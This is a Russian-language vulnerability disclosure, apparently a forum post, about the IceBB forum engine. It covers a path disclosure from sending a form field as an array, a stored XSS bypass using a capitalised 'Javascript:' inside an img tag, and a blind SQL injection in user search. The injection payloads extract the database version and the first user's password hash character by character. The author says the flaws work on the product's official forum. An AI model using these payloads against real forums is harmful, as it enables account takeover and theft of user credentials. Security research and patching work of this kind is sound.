Сайт: icebb.net
Версии: все версии - представленные уязвимости имеют место и на официальном форуме продукта forums.xaos-ia.com
Path Disclosing
Зарегистрировавшись на форуме и зайдя в панель управления, мы увидим сбоку ссылку "Change Password" на index.php?act=ucp&func=password.
В html-коде этой страницы меняем строчку
Код:
<input type='password' name='pass_old' class='form_textbox' />
на
Код:
<input type='password' name='pass_old[]' class='form_textbox' />
Теперь заполняем поля и отправляем запрос.
На официальном форуме в ответ я увидел:
Код:
PHP Warning [2]: md5() expects parameter 1 to be string, array given in /home/xaos/public_html/forums/modules/usercp.php on line 370
Active XSS
В скрипте /includes/classes/post_parser.php есть следующий участок кода:
PHP код:
function xss_is_bad($t)
{
//echo "javascript:";
//$t = html_entity_decode($t,ENT_QUOTES,'UTF-8');
$t = htmlspecialchars_decode($t,ENT_QUOTES);
$t = str_replace("<","<",$t);
$t = str_replace(">",">",$t);
//$t = str_replace(""",""",$t);
$t = preg_replace("/�*([0-9]*);?/",'&#\\1;',$t);
$t = str_replace('javascript:','javascript:',$t);
//$t = html_entity_decode($t,ENT_QUOTES);
//echo $t;
$t = preg_replace("/javascript:/i" , "nojava"/*ava*/."script:" ,$t);
$t = preg_replace("/vbscript:/i" , "novb"/*b*/."script:" ,$t);
//$t = preg_replace('/javascript:/i','javascript:',$t);
//$t = preg_replace('#(<[^>]+[\s\r\n\"\'])(on|xmlns)[^>]*\]#iU',"$1]",$t);
//$t = htmlspecialchars($t,ENT_QUOTES);
//$t = htmlentities($t,ENT_QUOTES);
//$t = preg_replace("`&#([0-9]+);`s",'&#\\1;',$t);
return $t;
}
В комментарии громко сказано, что он защищает от всех известных видов XSS, однако легко заметить, что следующая строчка портит всё дело:
PHP код:
$t = str_replace('javascript:','javascript:',$t);
Она заменяет зашифрованное слово javascript на незашифрованное. Собственно, ничего не мешает написать Javascript с большой буквы и отправить следующий запрос:
Код:
[*img]Javascript:alert();[*/img]
В ответ мы увидим желаемое.
Blind SQL-Injection
Просматривая исходники движка в течении 5 минут, можно обратить внимание на используемый класс поиска. В нём есть такая строчка:
PHP код:
$db->query("SELECT id FROM icebb_users WHERE username='{$icebb->input['search_user']}'");
Зайдя на страничку поиска и введя в поле Author или Search by keyword запрос "+AND+1=1", мы увидим список всех пользователей.
Здесь sql-инъекция в post-запросе.
Соответственно, введя "+AND+1=2", мы увидим сообщение об ошибке.
Вывод sql-ошибок выключен, так что инъекция слепая, узнаём версию: +AND+ascii(substring(version(),1,1))>1
Пароль первого пользователя: +AND+ascii(substring((select+password+from+icebb_u sers+where+id=1),1,1))>1
И так далее...